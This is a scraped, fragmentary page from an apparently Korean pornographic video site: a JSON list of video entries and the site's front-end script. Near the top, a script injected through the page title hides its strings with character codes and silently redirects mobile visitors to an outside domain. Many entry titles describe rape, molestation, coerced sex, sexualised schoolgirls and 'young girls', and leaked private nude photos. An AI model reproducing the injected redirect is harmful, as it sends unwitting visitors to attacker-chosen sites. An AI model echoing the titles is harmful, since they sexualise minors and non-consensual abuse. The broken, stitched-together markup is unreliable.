추천 영상
04:00:00
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>순종적인 십대 교복 섹스 친구들이 날 바보처럼 느끼게 해... 섹스 01 코스믹 프로젝트</title></script></title></script>
평범한 남녀 감시 AV 깔끔한 여대생이 큰 남근을 입에 깊숙이 넣고 손을 사용하지 않고 딥 스로트를 시도합니다! 큰 남근이 곧바로 여대생의 질에 삽입되고, 눈은 딥스","lastmod":"2026-07-11","duration":"03:41:29","url":"/play/19166866.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWRlZTFjMWY4ZDc2ZDk5YTMzMGUwYzQ5YTRjNDc2ZTAuanBn.cache","vod_id":18958698,"title":"328HMDNC-547 [아름다운 가슴과 곡선] 육감적인 몸매를 가진 29세 기혼 여성. 섹시한 아내를 픽업하여 당신의 방으로 데려가세요!","lastmod":"2025-03-22","duration":"01:00:16","url":"/play/18958698.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjQwNTBiOGViMjRiNWI5YWUyYzhkOWI1OGMxZTQ0OWYuanBn.cache","vod_id":18989573,"title":"발레 학생이 선생님에게 성폭행당하는 사건, 24화!","lastmod":"2025-03-23","duration":"14:18","url":"/play/18989573.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjVjNmU5YzkwNDA2N2U4MWE4YzEyZjg1NTc0MDA0NzEuanBn.cache","vod_id":19143586,"title":"눈부시게 아름다운 젊은 유부녀는 만남 내내 얼굴을 드러낸 채, 젊은 남자가 카메라 앞에서 그녀를 무자비하게 유린하도록 내버려 두었습니다.","lastmod":"2026-02-15","duration":"30:08","url":"/play/19143586.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmJlZmZhZjIzMDVlZGMxMTY1NzA5MDdlZDc2ZjE1MzMuanBn.cache","vod_id":18976844,"title":"한 젊은 커플이 집에서 섹스를 하면서 셀카를 찍고 있었다. 여자는 섹스를 하는 동안 TV를 보고 있었고, 남자는 마치 밥을 충분히 먹지 못한 것처럼 발을 질질 끌고 있었다.","lastmod":"2025-12-14","duration":"00:16:20","url":"/play/18976844.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGFiNjc2YmM4MTJjNDUxMjg3OGJlZmU3MDhiYzQ4YjMuanBn.cache","vod_id":18940111,"title":"HMPD-10059_A하야카와 미즈키 레즈비언 해금 가치 연속 절정×대량 물총×농밀한 레즈비언 섹스","lastmod":"2025-03-22","duration":"02:03:31","url":"/play/18940111.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWE0NmE0MmZmZTQ5N2RjZTQ3M2U0MTE0YzJiZGUzZGUuanBn.cache","vod_id":18968776,"title":"FC2PPV 3246909 첫 촬영!! 강제 얼굴 공개!! 내가 만족할 때까지 1980점 제한!! 나를 배신한 대가는 아주 혹독하다.","lastmod":"2025-12-14","duration":"01:08:29","url":"/play/18968776.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNzZmMmI5NTFjNTYyYTNhYjE3ZjRjYjExZWQxOTFjNzkuanBn.cache","vod_id":19159939,"title":"예쁘고 매력적인 얼굴을 가진 임산부가 임신 중 성희롱과 성추행을 당한 후, 임신 중 나체로 찍힌 개인 사진이 온라인에 유출되는 사건이 발생했습니다.","lastmod":"2026-05-25","duration":"18:07","url":"/play/19159939.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDUvMzcwZTViYjZkODE0NGI2M2FkYjJiZmFhNmVkNTk1ODQuanBn.cache","vod_id":19166729,"title":"최고의 미녀가 재벌 2세 상속자를 유혹한다. 평소에는 얼마나 거만하고 도도한지, 관계를 가질 때는 얼마나 음탕한지.평소에는 얼마나 거만하고 도도한지, 관계를 가질 때는 얼마나 음탕한지.","lastmod":"2026-07-11","duration":"12:59","url":"/play/19166729.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWI2ZGZhZmZjYzQ5NzNiMDgwNTcyYmIzZTFhODg0YTAuanBn.cache","vod_id":18928275,"title":"APNS-153 아름다운 유치원 교사 카와나 아이는 강제로 역할극을 당하고 집단 강간과 성적 훈련을 받습니다.","lastmod":"2025-12-14","duration":"00:20:00","url":"/play/18928275.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGI5MmM4Mjk1MTMxNWNiNmM5YTcyMmI2NWRjY2I4MzYuanBn.cache","vod_id":18966826,"title":"복면을 쓴 갱스터는 음탕하고 유혹적인 두 명의 최고급 유부녀를 동시에 만족시켰다. 그들은 갱스터에게 구강성교를 해주고, 가슴을 빨고, 질을 애무하고, 집단 강간과 삽입을 당하게 했다. 그들의 끊임없는 신음 소리는 갱스터에게 엄청난 자극을 주었다.","lastmod":"2025-12-14","duration":"01:03:46","url":"/play/18966826.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjYvYTU0YjE5MWEwNTUxNzA0M2Q5MTMyNTdmNmRhNDE3ZWUuanBn.cache","vod_id":19054282,"title":"음탕한 여동생이 나를 유혹하고, 핥아주고, 오르가즘에 이르게 했어! #스즈무라슌카HGMJ017","lastmod":"2025-09-25","duration":"01:39:03","url":"/play/19054282.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYzU2M2ExMTRhMzFiYWE5Y2VlMGJhNjc0NmFlYjU1NGUuanBn.cache","vod_id":19151587,"title":"혼자 사는 여대생들을 노리는 포식자 집단이 그들의 집에 강제로 침입해 성폭행을 저질렀습니다. 피해자 R.K-chan YMRK-061","lastmod":"2026-04-03","duration":"01:07:36","url":"/play/19151587.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDYyYjJlYWMwMmMwNjQ2YWJhZDMzMWQ3OGE1YWI4NTYuanBn.cache","vod_id":18960626,"title":"[무삭제판] SSIS-519 잊을 수 없는 첫 성추행의 쾌락, 열차 성추행에 중독된 여학생의 운명 (오구라 나나미)","lastmod":"2025-03-22","duration":"02:26:47","url":"/play/18960626.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNDBlMjMyYTgxOTg3Zjg0YzdhYmNjNzlkZTE1ODU4MmQuanBn.cache","vod_id":19161066,"title":"음탕한 여학생, 예민한, 조루증, 질 쾌락 중독, 큰 엉덩이, 사정, 비열한 년 아이돌, 디지털 아트.","lastmod":"2026-06-01","duration":"03:22:51","url":"/play/19161066.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmY3OGU0YmY5Y2I4OGMwYjZiMmFiOGE2M2M2OGRkNDUuanBn.cache","vod_id":18955665,"title":"✿음탕한 어린 소녀✿ 최고급 품질의 신선하고 부드러운 백호 얼굴을 드러낸 인터넷 스타 미녀 ▌작은 사슴 소스▌도전: 36cm의 거대한 페니스를 항문에 삽입하여 폐까지 도달하는 극단적인 삽입으로 황홀경에 빠져 터져 나오는 극도로 음란한 행위.","lastmod":"2025-12-14","duration":"00:11:53","url":"/play/18955665.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZTRmYjVkNGIyNGNhZDQ5ZGYxMThiODIyOWY5MDY0N2YuanBn.cache","vod_id":19162876,"title":"
순종적인 십대 교복 섹스 친구들이 날 바보처럼 느끼게 해... 섹스 01 코스믹 프로젝트","lastmod":"2026-07-11","duration":"04:00:00","url":"/play/19162876.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDJjNzc5MDlhNjU0ZTY3NTc5YTdiZGQzYWMyYmMzMmUuanBn.cache","vod_id":18925037,"title":"매혹적인 아우라를 지닌 매력적인 젊은 여성이 열정적인 장면, 유혹적인 미소, 그리고 남성 시청자들과의 도발적인 교류를 담은 라이브 방송을 진행했습니다. 그녀는 소품을 이용해 풍만한 가슴을 애무하고, 성기를 만지작거리며, 음란한 신음 소리를 내는 등 파격적인 모습을 보여주었습니다. 심지어 목욕하는 모습까지 선보였습니다.","lastmod":"2025-12-14","duration":"03:15:13","url":"/play/18925037.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMDQvNDA3Mjk2NGMzNGIwYzlhYmE4Yzk3NjQ1ZWM4MDFkNDQuanBn.cache","vod_id":19061124,"title":"노예 하녀의 엄격한 훈련: 강제 오르가즘","lastmod":"2025-11-03","duration":"38:57","url":"/play/19061124.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDY4MDlkMTc3MmRiMDU1ZjY3MmMwMmRmMmFiZmRjZTcuanBn.cache","vod_id":18947131,"title":"[중국어 자막] STARS-128 나의 첫 대학 사랑: 날씬한 모델 남자친구","lastmod":"2025-12-14","duration":"02:16:36","url":"/play/18947131.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZDIwOTg2MjFiNTM4MTEyM2JiM2EyMThhNzM3ZWIzYjguanBn.cache","vod_id":19159341,"title":"50대 중년 여성들의 음탕한 매력을 싫어하시나요? [녠위안 AV 주연] 열정적이고 욕망 가득한 성적 만남: 최고의 감수성을 지닌 5명의 중년 여성 (12MB)","lastmod":"2026-05-21","duration":"01:59:53","url":"/play/19159341.html"}]},
videoTitle: '유출된 사적인 사진: 대조적인 얼굴을 가진 젊은 여대생 공개 [황자원] 고금리로 돈을 빌려 몸으로 갚아야 하는 상황; 수많은 음란 셀카와 샤워 사진 공개; 황자원은 뛰어난 몸매를 자랑한다(33)',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}